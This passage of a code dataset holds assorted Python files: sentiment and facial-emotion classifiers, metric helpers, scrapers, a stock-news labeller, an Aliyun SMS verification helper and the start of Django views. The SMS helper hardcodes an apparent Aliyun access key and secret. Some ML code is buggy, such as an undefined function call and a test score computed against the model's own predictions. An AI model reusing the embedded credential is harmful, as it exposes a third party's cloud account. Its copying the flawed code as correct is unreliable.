corpora, models, similarities\n\nsw = load_scws()\n\nAB_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), './')\n\nEMOTICON_CONFLICTS_FILE = os.path.join(AB_PATH, './sentiment/emoticons4conflict.txt')\nDICT_FILE = os.path.join(AB_PATH, './sentiment/subjective_54W_4.dict')\nEMOTICON_FILE = os.path.join(AB_PATH, './sentiment/new_emoticon_54W_4.txt')\n\ndef emoticon(pe_set, ne_set, text):\n \"\"\" Extract emoticons and define the overall sentiment\"\"\"\n\n emotion_pattern = r'\\[(\\S+?)\\]'\n remotions = re.findall(emotion_pattern, text)\n p = 0\n n = 0\n\n if remotions:\n for e in remotions:\n if e in pe_set:\n p = 1\n elif e in ne_set:\n n = 1\n\n state = 0\n if p == 1 and n == 0:\n state = 1\n elif p == 0 and n == 1:\n state = 2\n\n\n return state\n\n\ndef remove_at(text):\n \"\"\"text去除@\n text: utf-8\n \"\"\"\n at_pattern = r'\\/\\/@(.+?):'\n text = re.sub(at_pattern, '。', text)\n\n return text\n\n\n'''define 2 kinds of seed emoticons'''\npe_set = set([])\nne_set = set([])\nwith open( EMOTICON_CONFLICTS_FILE) as f:\n for l in f:\n pair = l.rstrip().split(':')\n if pair[1] == '1':\n pe_set.add(pair[0])\n else:\n ne_set.add(pair[0])\n\n'''define subjective dictionary and subjective words weight'''\ndictionary_1 =corpora.Dictionary.load(DICT_FILE)\nstep1_score = {}\nwith open(EMOTICON_FILE) as f:\n for l in f:\n lis = l.rstrip().split()\n step1_score[int(lis[0])] = [float(lis[1]),float(lis[2])]\n\n\ndef triple_classifier(tweet):\n \"\"\"content168 以utf-8编码\n \"\"\"\n sentiment = 0\n text = tweet['content168']\n\n if '//@' in text:\n text = text[:text.index('//@')]\n\n if not len(text):\n text = remove_at(tweet['content168'])\n\n emoticon_sentiment = emoticon(pe_set,ne_set, text)\n if emoticon_sentiment in [1,2]:\n sentiment = 1\n text = ''\n\n if text != '':\n entries = cut(sw, text)\n entry = [e.decode('utf-8') for e in entries]\n bow = dictionary_1.doc2bow(entry)\n s = [1,1]\n for pair in bow:\n s[0] = s[0] * (step1_score[pair[0]][0] ** pair[1])\n s[1] = s[1] * (step1_score[pair[0]][1] ** pair[1])\n if s[0] <= s[1]:\n sentiment = 1\n else:\n sentiment = 0\n\n return sentiment\n","sub_path":"xnr_0429/xnr/cron/intelligent_writing/public/neutral_classifier.py","file_name":"neutral_classifier.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"29255230","text":"from sklearn.preprocessing import StandardScaler\nfrom sklearn import preprocessing\nimport cv2\nimport os\nimport pandas as pd\nimport csv\nfrom skimage.feature import hog\nfrom sklearn.svm import SVC\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import LeaveOneGroupOut\nfrom collections import deque\nimport numpy as np\nfrom sklearn.model_selection import cross_val_score, train_test_split, ShuffleSplit, StratifiedKFold\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score\nimport matplotlib.pyplot as plt\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom sklearn.model_selection import cross_val_score, GridSearchCV\n\n\n\n# Use four pre-trained classifiers for face detection\nface_detector_1 = cv2.CascadeClassifier('./haarcascades/haarcascade_frontalface_default.xml')\nface_detector_2 = cv2.CascadeClassifier('./haarcascades/haarcascade_frontalface_alt.xml')\nface_detector_3 = cv2.CascadeClassifier('./haarcascades/haarcascade_frontalface_alt2.xml')\nface_detector_4 = cv2.CascadeClassifier('./haarcascades/haarcascade_frontalface_alt_tree.xml')\n\n\nemotion_labels = {'Neutral': 0,\n 'Anger': 1,\n 'Surprise': 2,\n 'Sadness': 3,\n 'Happy': 4}\n\n# add your photos to the folder and set your netid\nNetID = 'P5'\n\n\ndef feature_extraction(img, orientations=16, pixels_per_cell=(16, 16), cells_per_block=(1, 1)):\n \"\"\" The function does the following tasks to extract emotion-related features:\n (1) Face detection (2) Cropping the face in the image (3) Resizing the image and (4) Extracting HOG vector.\n\n Args:\n img: The raw image.\n orientations: The number of bins for different orientations.\n pixels_per_cell: The size of each cell.\n cells_per_block: The size of the block for block normalization.\n\n Returns:\n features: A HOG vector is returned if face is detected. Otherwise 'None' value is returned.\n \"\"\"\n\n # If the image is a color image, convert it into gray-scale image\n if img.shape[2] == 3:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n face_detection_1 = face_detector_1.detectMultiScale(\n img, scaleFactor=1.1, minNeighbors=10, minSize=(5, 5), flags=cv2.CASCADE_SCALE_IMAGE)\n face_detection_2 = face_detector_2.detectMultiScale(\n img, scaleFactor=1.1, minNeighbors=10, minSize=(5, 5), flags=cv2.CASCADE_SCALE_IMAGE)\n face_detection_3 = face_detector_3.detectMultiScale(\n img, scaleFactor=1.1, minNeighbors=10, minSize=(5, 5), flags=cv2.CASCADE_SCALE_IMAGE)\n face_detection_4 = face_detector_4.detectMultiScale(\n img, scaleFactor=1.1, minNeighbors=10, minSize=(5, 5), flags=cv2.CASCADE_SCALE_IMAGE)\n\n\n # Go over the results of face detection. Stop at the first detected face,\n face_features = None\n if len(face_detection_1) == 1:\n face_features = face_detection_1\n \n elif len(face_detection_2) == 1:\n face_features = face_detection_2\n elif len(face_detection_3) == 1:\n face_features = face_detection_3\n elif len(face_detection_4) == 1:\n face_features = face_detection_4\n else:\n print(\"No face detected!\")\n #cv2.imshow('No face detected', img)\n # cv2.waitKey(0)\n \n\n if face_features is not None:\n global count\n for x, y, w, h in face_features:\n # Get the coordinates and the size of the rectangle containing face\n img = img[y:y+h, x:x+w]\n \n # Resize all the face images so that all the images have the same size\n img = cv2.resize(img, (350, 350))\n # Uncomment the following two lines to visualize the cropped face image\n # cv2.imshow(\"Cropped Face\", img)\n # cv2.waitKey(0)\n \n # Extract HOG descriptor\n features, hog_img = hog(img, orientations=orientations, pixels_per_cell=pixels_per_cell, cells_per_block=cells_per_block, visualize=True)\n # print(\"\\n ACCURACY VALUE = \",metrics.accuracy_score(features, average = 'macro'))\n # print(\"\\n PRECISION VALUE = \",metrics.precision_score(feaures, average = 'macro'))\n #print(\"\\n RECALL VALUE = \",metrics.recall_score(features, average = 'macro'))\n \n # Uncomment the following tow lines to visualize HOG\n #cv2.imshow('hog', hog_img)\n #cv2.waitKey(0)\n count += 1\n print(\"Loading: {:d}%\".format(int(count / 50 * 100)))\n return features.reshape(1, -1)\n\n else:\n return None\n\n\n\n\nif __name__ == \"__main__\":\n\n \n #\"***Feature Extraction***\"\n\n # Dictionary whose is \n dataset = dict()\n\n path = './images'\n\n # Get all the folder of individuad subject\n for subject in os.listdir(path):\n if subject[0] == '.':\n continue\n print(subject)\n count = 0\n emotion_dirs = os.listdir(path + '/%s' %subject)\n feature_matrix = None\n labels = None\n\n for emotion_dir in emotion_dirs:\n if emotion_dir[0] == '.':\n continue\n # Get the index associated with the emotion\n emotion_label = emotion_labels[emotion_dir]\n\n for f in os.listdir(path + '/%s/%s' %(subject, emotion_dir)):\n img = cv2.imread(path + '/%s/%s/' %(subject, emotion_dir) + f)\n # Uncomment the following two lines to visualize the raw images\n # cv2.imshow(\"raw img\", img)\n # cv2.waitKey(0)\n\n # Extract HOG features\n \n features = feature_extraction(img, orientations=10, pixels_per_cell=(16, 16), cells_per_block=(1, 1))\n\n if features is not None:\n feature_matrix = features if feature_matrix is None else np.append(feature_matrix, features, axis=0)\n labels = np.array([emotion_label]) if labels is None else np.append(labels, np.array([emotion_label]), axis=0)\n\n\n dataset[subject] = (feature_matrix, labels)\n\n\n #\"***Person-dependent Model***\"\n X, y = dataset[NetID]\n with open(\"test.csv\", 'w') as csvFile:\n writer = csv.writer(csvFile, delimiter=\",\")\n X, y = dataset[NetID]\n for i in range(len(X)):\n writer.writerow(np.append(X[i], y[i]))\n\n del dataset[NetID]\n \n \n \n \n \n with open(\"train.csv\", 'w') as csvFile:\n writer = csv.writer(csvFile, delimiter=\",\")\n for key, value in dataset.items():\n X, y = value\n for i in range(len(X)):\n writer.writerow(np.append(X[i], y[i]))\n\n # #########################################\n \n train = shuffle(pd.read_csv(\"train.csv\", header=None))\n test = shuffle(pd.read_csv(\"test.csv\", header=None))\n\n # Seperating Predictors and Outcome values from train and test sets\n X_train = pd.DataFrame(train.drop([4410], axis=1))\n Y_train_label = train[4410].values.astype(int)\n X_test = pd.DataFrame(test.drop([4410], axis=1))\n Y_test_label = test[4410].values.astype(int)\n # Libraries to Build Ensemble Model : Random Forest Classifier\n # Create the parameter grid based on the results of random search\n # I am using random forest as it works better than SVM which is majorly meant for binary classification\n params_grid = [{'kernel': ['rbf'], 'gamma': [1e-3, 1e-4],\n 'C': [1, 10, 100, 1000]},\n {'kernel': ['linear'], 'C': [1, 10, 100, 1000]}]\n\n # Performing CV to tune parameters for best SVM fit\n svm_model = GridSearchCV(SVC(), params_grid, cv=5)\n svm_model.fit(X_train, Y_train_label)\n # View the accuracy score\n print ('Best score for training data:', svm_model.best_score_ ) \n # View the best parameters for the model found using grid search\n # We do not need this but as I did ML for my another project too, I was trying new ideas here\n #print ('Best C:', svm_model.best_estimator_.C)\n #print ('Best Kernel:', svm_model.best_estimator_.kernel)\n #print ('Best Gamma:', svm_model.best_estimator_.gamma)\n final_model = svm_model.best_estimator_\n Y_pred = final_model.predict(X_test)\n # Making the Confusion Matrix\n print (confusion_matrix(Y_test_label, Y_pred))\n print (classification_report(Y_test_label, Y_pred))\n # this give the accuracy(f1 score), precision, and recall values \n print (\"Training set score for SVM: {}\".format(final_model.score(X_train, Y_train_label)))\n print (\"Testing set score for SVM: {}\".format(final_model.score(X_test, Y_pred)) ) \n \n\n \n # TODO: Use the HOG descriptors to classify different emotions (facial expressions).\n # Here, X is the matrix of HOG descriptors with number of rows equal to the number of images.\n # y is a vector of emotion labels whose length is equal to the number of images.\n # ### Parameter Analysis [25 points]\n # #### - Trained only On NetID = P5\n bins = [8,16,32,64]\n valuesOfCells = [4,8,16,32,64]\n scoreDf = pd.DataFrame(columns=['bins','cells','accuracy'])\n row = 0\n for mbin in bins:\n for cell in valuesOfCells:\n scoreDf.loc[row,'bins'] = mbin\n scoreDf.loc[row,'cells'] = cell\n scoreDf.loc[row,'accuracy'] = np.nan\n row = row + 1\n for mbin in bins:\n for cell in valuesOfCells:\n dataset = returnFetures(mbin,(cell,cell))\n X, y = dataset[NetID]\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,random_state=109) # 70% training and 30% test\n #Create a svm Classifier\n clf = SVC(kernel='linear') # Linear Kernel\n #Train the model using the training sets\n clf.fit(X_train, y_train)\n #Predict the response for test dataset\n y_pred = clf.predict(X_test)\n acc = accuracy_score(y_test,y_pred)\n scoreDf.loc[scoreDf[scoreDf['bins'] == mbin][scoreDf['cells'] == cell].index,'accuracy'] = acc\n #save the plot\n nd = scoreDf.pivot(index='cells', columns='bins', values='accuracy')\n nd.plot()\n plt.savefig('./parameter.png')\n \n # ### C. Train a generalized (person-independent) model to see how the model can predict emotions across six different users (including yourself) and use leave-one-subject-out (LOSO) cross validation to evaluate the model.\n# ### Leave One Subject Out (LOSO)\nXALL = []\nyALL = []\nfor group in dataset:\n XALL.append(dataset[group][0])\n yALL.append(dataset[group][1])\ngroups = np.array([1, 2, 3, 4,5])\nlogo = LeaveOneGroupOut()\nLOSO_score =[]\nLOSO_precision = []\nLOSO_recall = []\nfor train_index, test_index in logo.split(XALL, yALL, groups):\n print('{} of group {}'.format(test_index,train_index))\n #print(\"TRAIN:\", train_index, \"TEST:\", test_index)\n XList = deque()\n yList = deque()\n for idx in train_index:\n XList.append(XALL[idx])\n yList.append(yALL[idx])\n newTrainX = np.vstack((np.vstack((np.vstack((XList[0],XList[1])),XList[2])),XList[3]))\n newTrainy = np.append(np.append(np.append(yList[0],yList[1],axis=0),yList[2],axis=0),yList[3],axis=0)\n newTestX = np.array(XALL[test_index[0]])\n newTesty = np.array(yALL[test_index[0]])\n #Create a svm Classifier\n clf = SVC(kernel='linear') # Linear Kernel\n #Train the model using the training sets\n clf.fit(newTrainX, newTrainy)\n #Predict the response for test dataset\n y_pred = clf.predict(newTestX)\n acc = accuracy_score(newTesty,y_pred)\n precision = precision_score(newTesty, y_pred,average='micro')\n recall = recall_score(newTesty, y_pred,average='micro')\n LOSO_score.append(acc)\n LOSO_precision.append(precision)\n LOSO_recall.append(recall)\n print(\" accuracy: \",acc)\n print(\" precision: \",precision)\n print(\" recall: \",recall)\nprint(\"########## FINAL SCORE ##########\")\nprint('LOSO Score: ',LOSO_score,'\\nMean LOSO Score',np.mean(LOSO_score))\nprint('LOSO Precision: ',LOSO_precision,'\\nMean LOSO Precision',np.mean(LOSO_precision))\nprint('LOSO recall: ',LOSO_recall,'\\nMean LOSO Recall',np.mean(LOSO_recall))\n\n\n\n\n ","sub_path":"emotion_recognition.py","file_name":"emotion_recognition.py","file_ext":"py","file_size_in_byte":11935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"408057995","text":"import numpy as np\n\ndef get_error(observed, expected):\n return two_norm(observed,expected)\n\ndef count_different(observed,expected):\n \"\"\"\n computes the error between observed and expected vectors \n as the number of different elements \n\n err = count (obs_i != exp_i) \n\n Example:\n >>> observed = np.array([10, 12, 15])\n >>> expected = np.array([12.5, 12, 20.0])\n >>> print count_different(observed, expected)\n 2\n \"\"\"\n return sum(observed[i]!=expected[i] for i in xrange(len(observed)))\n\ndef one_norm(observed, expected):\n \"\"\"\n computes the error between observed and expected vectors computed\n as the 1-norm (the sum across elements of the absolute difference)\n \n err = Sum_i abs(obs_i - exp_i)\n \n (works for scalars, tuples, lists, and numpy arrays)\n \n Example:\n >>> observed = np.array([10, 15])\n >>> expected = np.array([12.5, 20.0])\n >>> print one_norm(observed, expected)\n 7.5\n \"\"\"\n return np.sum(np.abs(np.subtract(observed, expected)))\n\ndef two_norm(observed, expected):\n \"\"\"\n computes the error between observed and expected vectors computed\n as the sqrt of the SUM of squared differences (Root-Sum-Square, RSS)\n \n err = sqrt (Sum_i (obs_i - exp_i)**2)\n \n \n Example:\n >>> observed = np.array([10, 15])\n >>> expected = np.array([13, 19])\n >>> print two_norm(observed, expected)\n 5.0\n \"\"\"\n return np.linalg.norm(np.subtract(observed, expected))\n \ndef rms(observed, expected):\n \"\"\"\n computes the root mean square error between observed and expected \n as the sqrt of the MEAN of squared differences (Root-Mean-Square, RMS)\n \n err = sqrt ((1/Len) * Sum_i (obs_i - exp_i)**2)\n \n Example:\n >>> expected = np.array([0,0,0,0,0])\n >>> observed = np.array([0,2,0,0,4])\n >>> print rms(observed, expected)\n 2.0\n \"\"\"\n diff = np.subtract(observed, expected)\n diffsq = np.power(diff,2)\n return np.sqrt(np.mean(diffsq))\n\n\n \ndef test_calc_error():\n import check\n \n # test one_norm\n observed = np.array([10, 15])\n expected = np.array([12.5, 20])\n check.expect(\"\", one_norm(observed, expected), 7.5)\n \n expected = np.random.rand(4)\n observed = expected + 3.0 # add 3 to all elements in the array\n check.expect(\"\", one_norm(observed, expected), 4 * 3.0)\n \n check.expect(\"\", one_norm(3, 2.7), 0.3)\n check.expect(\"\", one_norm(3, 3.3), 0.3)\n \n # test two_norm\n observed = np.array([10, 15])\n expected = np.array([13, 19])\n check.expect(\"\", two_norm(observed, expected), 5.0)\n \n expected = np.random.rand(4)\n observed = expected + 3.0 # add 3 to all elements in the array\n check.expect(\"\", two_norm(observed, expected), np.sqrt(4) * 3.0 )\n \n check.expect(\"\", two_norm(3, 2.7), 0.3)\n check.expect(\"\", two_norm(3, 3.3), 0.3)\n \n # test rms\n \n\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n test_calc_error()","sub_path":"Simulator/calc_error.py","file_name":"calc_error.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"468117768","text":"import sys\nimport pandas as pd\nsys.path.append(\"..\")\n\nfrom Helper import helpers\n\nwicket = []\nallComment = []\ndata = []\n\nurl = 'https://www.espncricinfo.com/series/8039/commentary/1144525/bangladesh-vs-pakistan-43rd-match-icc-cricket-world-cup-2019' \nsoap = helpers.getAndParseURL(url)\n#comments = [x.span for x in soap.findAll(\"div\", {'class': 'commentary-item'})]\n\ncomments = soap.findAll(\"div\", {'class': 'commentary-item'})\n\nfor comment in comments:\n commentDetails = comment.find(\"span\", {'class':'over-score'})\n if(commentDetails is not None and commentDetails.get_text() == 'W'):\n \twicketFall = commentDetails.get_text()\n \tcommented = comment.find(\"div\", {'class':'description'}).get_text()\n \tdata.append([wicketFall,commented])\n\n\n\ns = pd.DataFrame([data], columns=['wicket','comment'])\nprint(s)","sub_path":"scrapper/espnbk.py","file_name":"espnbk.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"225804139","text":"import __init__\nimport logging\nimport datetime\nimport akshare as ak\n\nfrom Kite import config\nfrom Kite.database import Database\nfrom Leorio.tokenization import Tokenization\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S')\n\n\nclass GenStockNewsDB(object):\n\n def __init__(self):\n self.database = Database()\n # 获取从1990-12-19至2020-12-31股票交易日数据\n self.trade_date = ak.tool_trade_date_hist_sina()[\"trade_date\"].tolist()\n self.label_range = {3: \"3DaysLabel\",\n 5: \"5DaysLabel\",\n 10: \"10DaysLabel\",\n 15: \"15DaysLabel\",\n 30: \"30DaysLabel\",\n 60: \"60DaysLabel\"}\n\n def get_all_news_about_specific_stock(self, database_name, collection_name):\n # 获取collection_name的key值,看是否包含RelatedStockCodes,如果没有说明,没有做将新闻中所涉及的\n # 股票代码保存在新的一列\n _keys_list = list(next(self.database.get_collection(database_name, collection_name).find()).keys())\n if \"RelatedStockCodes\" not in _keys_list:\n tokenization = Tokenization(import_module=\"jieba\", user_dict=\"./Leorio/financedict.txt\")\n tokenization.update_news_database_rows(database_name, collection_name)\n # 创建stock_code为名称的collection\n stock_symbol_list = self.database.get_data(\"stock\", \"basic_info\", keys=[\"symbol\"])[\"symbol\"].to_list()\n col_names = self.database.connect_database(\"stocknews\").list_collection_names(session=None)\n for symbol in stock_symbol_list:\n if symbol not in col_names:\n _collection = self.database.get_collection(config.ALL_NEWS_OF_SPECIFIC_STOCK_DATABASE, symbol)\n _tmp_num_stat = 0\n for row in self.database.get_collection(database_name, collection_name).find(): # 迭代器\n if symbol[2:] in row[\"RelatedStockCodes\"].split(\" \"):\n # 返回新闻发布后n天的标签\n _tmp_dict = {}\n for label_days, key_name in self.label_range.items():\n _tmp_res = self._label_news(\n datetime.datetime.strptime(row[\"Date\"].split(\" \")[0], \"%Y-%m-%d\"), symbol, label_days)\n if _tmp_res:\n _tmp_dict.update({key_name: _tmp_res})\n _data = {\"Date\": row[\"Date\"],\n \"Url\": row[\"Url\"],\n \"Title\": row[\"Title\"],\n \"Article\": row[\"Article\"],\n \"OriDB\": database_name,\n \"OriCOL\": collection_name}\n _data.update(_tmp_dict)\n _collection.insert_one(_data)\n _tmp_num_stat += 1\n logging.info(\"there are {} news mentioned {} in {} collection need to be fetched ... \"\n .format(_tmp_num_stat, symbol, collection_name))\n else:\n logging.info(\"{} has fetched all related news from {}...\".format(symbol, collection_name))\n\n def _label_news(self, date, symbol, n_days):\n \"\"\"\n :param date: 类型datetime.datetime,表示新闻发布的日期,只包括年月日,不包括具体时刻,如datetime.datetime(2015, 1, 5, 0, 0)\n :param symbol: 类型str,表示股票标的,如sh600000\n :param n_days: 类型int,表示根据多少天后的��格设定标签,如新闻发布后n_days天,如果收盘价格上涨,则认为该则新闻是利好消息\n \"\"\"\n # 计算新闻发布当天经过n_days天后的具体年月日\n this_date_data = self.database.get_data(config.STOCK_DATABASE_NAME,\n symbol,\n query={\"date\": date})\n # 考虑情况:新闻发布日期是非交易日,因此该日期没有价格数据,则往前寻找,比如新闻发布日期是2020-12-12是星期六,\n # 则考虑2020-12-11日的收盘价作为该新闻发布时的数据\n tmp_date = date\n if this_date_data is None:\n i = 1\n while this_date_data is None and i <= 10:\n tmp_date -= datetime.timedelta(days=i)\n # 判断日期是否是交易日,如果是再去查询数据库;如果this_date_data还是NULL值,则说明数据库没有该交易日数据\n if tmp_date.strftime(\"%Y-%m-%d\") in self.trade_date:\n this_date_data = self.database.get_data(config.STOCK_DATABASE_NAME,\n symbol,\n query={\"date\": tmp_date})\n i += 1\n try:\n close_price_this_date = this_date_data[\"close\"][0]\n except Exception:\n close_price_this_date = None\n # 考虑情况:新闻发布后n_days天是非交易日,或者没有采集到数据,因此向后寻找,如新闻发布日期是2020-12-08,5天\n # 后的日期是2020-12-13是周日,因此将2020-12-14日周一的收盘价作为n_days后的数据\n new_date = date + datetime.timedelta(days=n_days)\n n_days_later_data = self.database.get_data(config.STOCK_DATABASE_NAME,\n symbol,\n query={\"date\": new_date})\n if n_days_later_data is None:\n i = 1\n while n_days_later_data is None and i <= 10:\n new_date = date + datetime.timedelta(days=n_days+i)\n if new_date.strftime(\"%Y-%m-%d\") in self.trade_date:\n n_days_later_data = self.database.get_data(config.STOCK_DATABASE_NAME,\n symbol,\n query={\"date\": new_date})\n i += 1\n try:\n close_price_n_days_later = n_days_later_data[\"close\"][0]\n except Exception:\n close_price_n_days_later = None\n # 判断条件:\n # (1)如果n_days个交易日后且n_days<=10天,则价格上涨(下跌)超过3%,则认为该新闻是利好(利空)消息;如果价格在3%的范围内,则为中性消息\n # (2)如果n_days个交易日后且10 param:\n return \"利好\"\n elif (close_price_n_days_later - close_price_this_date) / close_price_this_date < -param:\n return \"利空\"\n else:\n return \"中性\"\n else:\n return False\n\n\nif __name__ == \"__main__\":\n gen_stock_news_db = GenStockNewsDB()\n gen_stock_news_db.get_all_news_about_specific_stock(\"finnewshunter\", \"cnstock\")\n\n","sub_path":"src/Killua/buildstocknewsdb.py","file_name":"buildstocknewsdb.py","file_ext":"py","file_size_in_byte":8195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"55553176","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 28 22:13:11 2016\n\n@author: Stranger\n\"\"\"\n\nclass Solution(object):\n def combine(self, n, k):\n \"\"\"\n 超时版本\n\n \"\"\"\n res = []\n cand = range(1,n+1)\n def dfs(cand,k,stack):\n if k == 0:\n res.append(stack)\n return\n for item in cand:\n if stack and item <= stack[-1]:continue\n dfs(cand,k-1,stack+[item])\n dfs(cand,k,[])\n return res\n \n \nif __name__ == '__main__':\n a = Solution()\n res = a.combine(5,2)\n print(res)\n ","sub_path":"Strangerbai_algorithm/data structure/combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"591265015","text":"'''\n6. * Реализовать структуру данных «Товары». Она должна представлять собой список кортежей.\nКаждый кортеж хранит информацию об отдельном товаре. В кортеже должно быть два элемента —\nномер товара и словарь с параметрами (характеристиками товара: название, цена, количество, единица измерения).\nСтруктуру нужно сформировать программно, т.е. запрашивать все данные у пользователя.\n'''\n\n\nproducts = []\nid = 0\n\nwhile True:\n count_products = input('Введите количество товаров: ')\n if count_products.isdigit():\n count_products = int(count_products)\n break\n else:\n print('Введите число!')\n\n\nwhile count_products:\n products.insert(id, (id+1, {\"название\": input(\"Введите название: \"), \"цена\": input(\"Введите цену: \"),\n \"количество\": input('Введите количество: '), \"ед\": input('Введите еденицы измерения: ')}))\n id += 1\n count_products -=1\n\nprint(products)\n\n'''\nНеобходимо собрать аналитику о товарах. Реализовать словарь, в котором каждый ключ — характеристика товара,\n например название, а значение — список значений-характеристик, например список названий товаров.\n'''\n\nprod_name = []\nprice = []\ncount = []\nunit = []\n\n\nfor id, dictenary in products:\n print(dictenary)\n print(dictenary.get(\"название\"))\n prod_name.append(dictenary.get(\"название\"))\n price.append(dictenary.get(\"цена\"))\n count.append(dictenary.get(\"количество\"))\n unit.append(dictenary.get(\"ед\"))\n\n\nproduct_dictenary = {\"название\": prod_name, \"цена\": price,\"количество\": count, \"ед\": unit}\n\nprint(product_dictenary)","sub_path":"homeworks/les2/task6.py","file_name":"task6.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"641431506","text":"'''\nCollects metrics for Prime Services overnight batch.\nLimitations:\n Only live clients\n Data from previous business day\n'''\n\nimport csv\nimport datetime\nimport os\n\nimport acm\n\nfrom PS_Functions import (get_pb_fund_counterparties,\n get_pb_fund_shortname)\nfrom at_logging import getLogger\nfrom at_ael_variables import AelVariableHandler\nfrom at_time import to_date\n\nLOGGER = getLogger()\nZAR_CALENDAR = acm.FCalendar[\"ZAR Johannesburg\"]\nPREV_BUS_DAY = to_date(ZAR_CALENDAR.AdjustBankingDays(acm.Time.DateNow(), -1))\nPS_TASK_NAMES = [\"PS_AddTradeFees\",\n \"PS_Extend_General_PSwaps\",\n \"PS_TPLSweep_General_PSwaps\",\n \"PS_Payments\",\n \"PS_Generate\",\n \"PS_MTM\",\n \"PS_Sweeping\",\n \"PS_SetAddInfoDate\",\n \"PS_LoanAccountSweeper\",\n \"PS_FRerate\",\n \"PS_Reporting\"]\n\nael_variables = AelVariableHandler()\nael_variables.add_directory(\n \"output_dir\",\n label=\"Output directory\",\n default=\"/services/frontnt/Task\",\n mandatory=True,\n multiple=False)\nael_variables.add_output_file(\n \"output_file\",\n label=\"Output file name\",\n default=\"PrimeServices_Metrics\",\n mandatory=True,\n multiple=False)\n\n\ndef ael_main(ael_dict):\n LOGGER.msg_tracker.reset()\n\n output_file_name = os.path.join(str(ael_dict[\"output_dir\"]),\n str(ael_dict[\"output_file\"]) + \"_\" + PREV_BUS_DAY.strftime(\"%Y%m%d\") + \".csv\")\n\n client_list = []\n for client in get_pb_fund_counterparties():\n short_name = get_pb_fund_shortname(client)\n client_list.append(short_name)\n\n with open(output_file_name, \"wb\") as output_file:\n csv_writer = csv.writer(output_file)\n csv_writer.writerow([''] + [task_name for task_name in PS_TASK_NAMES])\n for short_name in client_list:\n line = [short_name]\n for task_name in PS_TASK_NAMES:\n full_task_name = task_name + \"_\" + short_name + \"_SERVER\"\n task = acm.FAelTask[full_task_name]\n if task:\n hist = acm.FAelTaskHistory.Select01(\"task='%s'\" % full_task_name, None)\n if hist and datetime.date.fromtimestamp(hist.StartTime()) >= PREV_BUS_DAY:\n line.append(str(hist.StopTime() - hist.StartTime()))\n else:\n line.append(\"0\")\n else:\n line.append(\"0\")\n csv_writer.writerow(line)\n\n if LOGGER.msg_tracker.errors_counter:\n raise RuntimeError(\"ERRORS occurred. Please check the log.\")\n\n LOGGER.info(\"Wrote secondary output to {}\".format(output_file_name))\n LOGGER.info(\"Completed successfully\")\n","sub_path":"Python modules/PS_Metrics_OvernightBatch.py","file_name":"PS_Metrics_OvernightBatch.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"583644418","text":"import json\n\nfrom common import rd2 as rd, log\nimport random\n\nfrom aliyunsdkcore.client import AcsClient\nfrom aliyunsdkcore.request import CommonRequest\n\n\ndef _gen_code():\n return random.randint(10000, 99999)\n\n\ndef _send_sms(phone, code):\n client = AcsClient('LTAIRiQGIywYBeYN', 'ZOHiNBYPr72dCFog2fLU5Pu9RvVAIf', 'cn-hangzhou')\n request = CommonRequest()\n request.set_accept_format('json')\n request.set_domain('dysmsapi.aliyuncs.com')\n request.set_method('POST')\n request.set_protocol_type('https') # https | http\n request.set_version('2017-05-25')\n request.set_action_name('SendSms')\n request.add_query_param('RegionId', \"cn-hangzhou\")\n request.add_query_param('PhoneNumbers', phone)\n request.add_query_param('SignName', \"Disen工作室\")\n request.add_query_param('TemplateCode', \"SMS_128646125\")\n request.add_query_param('TemplateParam', json.dumps(dict(code=code)))\n try:\n response = client.do_action_with_exception(request)\n except Exception as e:\n log.error('获取短信验证码失败', e)\n return False\n return True\n\n\ndef send_code(phone):\n # 生成code\n code = _gen_code()\n # 缓存中存储验证码和手机号\n rd.set(phone, code, ex=60)\n # 发送短信\n if not _send_sms(phone, code):\n return False\n return True\n\n\ndef verify_code(phone, code):\n # 验证手机与验证码是否匹配\n if rd.exists(phone):\n if code == rd.get(phone):\n return True\n return False\n","sub_path":"common/sms_.py","file_name":"sms_.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"636417515","text":"from django.shortcuts import render, redirect, HttpResponse, reverse, get_object_or_404\nfrom django.views.decorators.cache import never_cache\nfrom item01 import models\nfrom item01.models import UserInfo\nfrom django.views import View\nfrom item01.forms import ResForm\nfrom django.contrib import auth\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import JsonResponse\nfrom django.contrib.auth.decorators import login_required\nfrom PIL import Image, ImageDraw, ImageFont\nimport random\nfrom io import BytesIO\nfrom utils.mypage import MyPage\nfrom django.db.models import Count, F, Q\nfrom django.db import transaction\nfrom bs4 import BeautifulSoup\n\n\n# Create your views here.\n# 注册\nclass Register(View):\n def get(self, request):\n form_obj = ResForm()\n return render(request, \"register.html\", {\"form_obj\": form_obj})\n\n def post(self, request):\n res = {\"code\": 0}\n form_obj = ResForm(request.POST)\n if form_obj.is_valid():\n res[\"msg\"] = reverse(\"login\")\n avatar_file = 